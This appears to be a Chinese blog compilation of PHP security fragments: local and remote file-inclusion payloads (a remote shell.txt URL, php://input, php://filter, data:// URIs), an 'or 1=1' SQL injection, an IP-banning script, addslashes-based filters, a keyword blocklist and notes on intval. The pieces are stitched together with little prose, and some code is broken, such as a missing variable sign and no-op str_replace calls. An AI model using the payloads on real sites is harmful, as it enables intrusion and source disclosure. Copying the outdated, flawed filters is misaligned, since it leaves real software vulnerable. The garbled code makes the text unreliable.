关于PHP文件包含一些漏洞分析

<?php include($_GET['file']); ?>

* 包含远程代码(Including Remote Code):

?file=[http|https|ftp]://websec.wordpress.com/shell.txt

(需要 allow_url_fopen=On 和 allow_url_include=On)

* 使用php输入流(Using PHP stream php://input):

?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)

* 使用PHP过滤函数(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)

<?php include(“http://192.168.1.10/config.php”); ?>
* 中间人攻击(Man In The Middle)
(lame indeed, but often forgotten)

<?php 

$real_ip = getenv('HTTP_X_FORWARDED_FOR'); 

if(isset($real_ip)){ 

        shell_exec("echo $real_ip >> real_ip.txt"); 

        shell_exec("echo $_SERVER['REMOTE_ADDR'] >> proxy.txt"); 

}else{ 

        shell_exec("echo $_SERVER['REMOTE_ADDR'] >> ips.txt"); 

} 

echo '服务器受到攻击，正在收集攻击源，请在5分钟后访问本站，5分钟内多次访问本站有可能会被当作攻击源封掉IP。谢谢合作！'; 

?>

rewrite (.*) /ip.php;
Lighttpd规则：

url.rewrite = ( 

"^/(.+)/?$" => "/ip.php"

)

<?php 

$threshold = 10; 

$ips = array_count_values(file('ips.txt')); 

$ban_num = 0; 

foreach($ips as $ip=>$num){ 

    if($num > $threshold){ 

                $ip = trim($ip); 

                $cmd = "iptables -I INPUT -p tcp --dport 80 -s $ip -j DROP"; 

        shell_exec($cmd); 

        echo "$ip baned!n"; 

        $ban_num ++; 

        } 

} 

$proxy_arr = array_unique(file('proxy.txt')); 

foreach($proxy_arr as $proxy){ 

    proxy = trim($proxy); 

    $cmd = "iptables -I INPUT -p tcp --dport 80 -s $proxy -j DROP"; 

    shell_exec($cmd); 

    echo "$proxy baned!n"; 

    $ban_num ++; 

} 

echo "total: $ban_num ipsn"; 

?>

select * from blog where id=5 

select * from blog where id=5 or 1=1 

function safe($s) 

{ 

    if(!get_magic_quotes_gpc()) 

    { 

        if(is_array($s)) 

            foreach($s as $key=>$value) 

                $s[$key] = addslashes($value); 

        else 

            $s=addslashes($s); 

    } 

    return $s; 

} 

function html_safe($s) 

{ 

    return nl2br(htmlspecialchars(safe($s) )) ; 

} 

SELECT * FROM `blog` WHERE `id`='$id' 

$id = $_GET['id']*1; //获取文章的id,用来显示文章信息 

if($id == 0){ 

echo "ERROR..."; 

exit(); 

} 

if ( !get_magic_quotes_gpc() ) { 

    $_GET = add_slashes($_GET); 

    $_POST = add_slashes($_POST); 

    $_COOKIE = add_slashes($_COOKIE); 

} 

//addslashes 

function add_slashes($string) { 

    if (!is_array($string)) return addslashes($string); 

    foreach ($string as $key => $val) { 

        $string[$key] = add_slashes($val); 

    } 

    return $string; 

} 

/*
函数名称：inject_check()
函数作用：检测提交的值是不是含有SQL注射的字符，防止注射，保护服务器安全
参 数：$sql_str: 提交的变量
返 回 值：返回检测结果，ture or false
函数作者：heiyeluren
*/

function inject_check($sql_str) 

{ 

     return eregi('select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile', $sql_str);    // 进行过滤 

 } 

<?php 

if (inject_check($_GET['id'])) 

{ 

     exit('你提交的数据非法，请检查后重新提交！'); 

} 

else 

{ 

    $id = $_GET['id']; 

    echo '提交的数据合法，请继续！'; 

} 

?> 

/*
函数名称：verify_id()
函数作用：校验提交的ID类值是否合法
参 数：$id: 提交的ID值
返 回 值：返回处理后的ID
函数作者：heiyeluren
*/

function verify_id($id=null) 

{ 

   if (!$id) { exit('没有提交参数！'); }    // 是否为空判断 

   elseif (inject_check($id)) { exit('提交的参数非法！'); }    // 注射判断 

   elseif (!is_numeric($id)) { exit('提交的参数非法！'); }    // 数字判断 

   $id = intval($id);    // 整型化 

   return  $id; 

} 

呵呵，那么我们就能够进行校验了，于是我们上面的程序代码就变成了下面的：

<?php 

if (inject_check($_GET['id'])) 

{ 

     exit('你提交的数据非法，请检查后重新提交！'); 

} 

else 

{ 

    $id = verify_id($_GET['id']);    // 这里引用了我们的过滤函数，对$id进行过滤 

    echo '提交的数据合法，请继续！'; 

} 

?> 

/*
函数名称：str_check()
函数作用：对提交的字符串进行过滤
参 数：$var: 要处理的字符串
返 回 值：返回过滤后的字符串
函数作者：heiyeluren
*/

function str_check( $str ) 

{ 

   if (!get_magic_quotes_gpc())    // 判断magic_quotes_gpc是否打开 

   { 

      $str = addslashes($str);    // 进行过滤 

 } 

     $str = str_replace("_", "_", $str);    // 把 '_'过滤掉 

     $str = str_replace("%", "%", $str);    // 把' % '过滤掉 

   return $str;  

} 

/*
函数名称：post_check()
函数作用：对提交的编辑内容进行处理
参 数：$post: 要提交的内容
返 回 值：$post: 返回过滤后的内容
函数作者：heiyeluren
*/

function post_check($post) 

{ 

   if (!get_magic_quotes_gpc())    // 判断magic_quotes_gpc是否为打开 

   { 

      $post = addslashes($post);    // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤 

   } 

   $post = str_replace("_", "_", $post);    // 把 '_'过滤掉 

   $post = str_replace("%", "%", $post);    // 把' % '过滤掉 

   $post = nl2br($post);    // 回车转换 

   $post= htmlspecialchars($post);    // html标记转换 

   return $post; 

} 

PHP_FUNCTION(intval)

{

zval **num, **arg_base;

int base;

switch (ZEND_NUM_ARGS()) {

case 1:

if (zend_get_parameters_ex(1, &num) == FAILURE) {

WRONG_PARAM_COUNT;

}

base = 10;

break;

case 2:

if (zend_get_parameters_ex(2, &num, &arg_base) == FAILURE) {

WRONG_PARAM_COUNT;

}

convert_to_long_ex(arg_base);

base = Z_LVAL_PP(arg_base);

break;

default:

WRONG_PARAM_COUNT;

}

RETVAL_ZVAL(*num, 1, 0);

convert_to_long_base(return_value, base);

}

Zend/zend_operators.c->>convert_to_long_base()

……

case IS_STRING:

strval = Z_STRVAL_P(op);

Z_LVAL_P(op) = strtol(strval, NULL, base);

STR_FREE(strval);

break;

<?php
$o = 0.1;
for($a = 1; $a < 100; $a++){
$o += 0.1;
echo “<br />intval($o) = “.intval($o);
if(intval($o)){
print(“&nbsp;true”);
}else{
print(“&nbsp;false”);
}
}?>

输出结果：

intval(0.2) = 0 false
intval(0.3) = 0 false
intval(0.4) = 0 false
intval(0.5) = 0 false
intval(0.6) = 0 false
intval(0.7) = 0 false
intval(0.8) = 0 false
intval(0.9) = 0 false
intval(1) = 0 false
intval(1.1) = 1 true
intval(1.2) = 1 true
intval(1.3) = 1 true
intval(1.4) = 1 true
intval(1.5) = 1 true
intval(1.6) = 1 true
intval(1.7) = 1 true
intval(1.8) = 1 true
intval(1.9) = 1 true
intval(2) = 2 true
…..

$t ='165';

echo gettype((int)($t));
echo '<hr>';
echo gettype(intval($t));

//输出结果:integer integer value:165

$t ='a165';

echo gettype((int)($t));
echo '<hr>';
echo gettype(intval($t));

//结果 integer integer value:0,0

$string="2a";
$string1=intval($string);
echo '$string1的值：'.$string1.'$string2的值：';//单引号不会输出变量，将原样输出
$string2=(int)($string);
echo $string2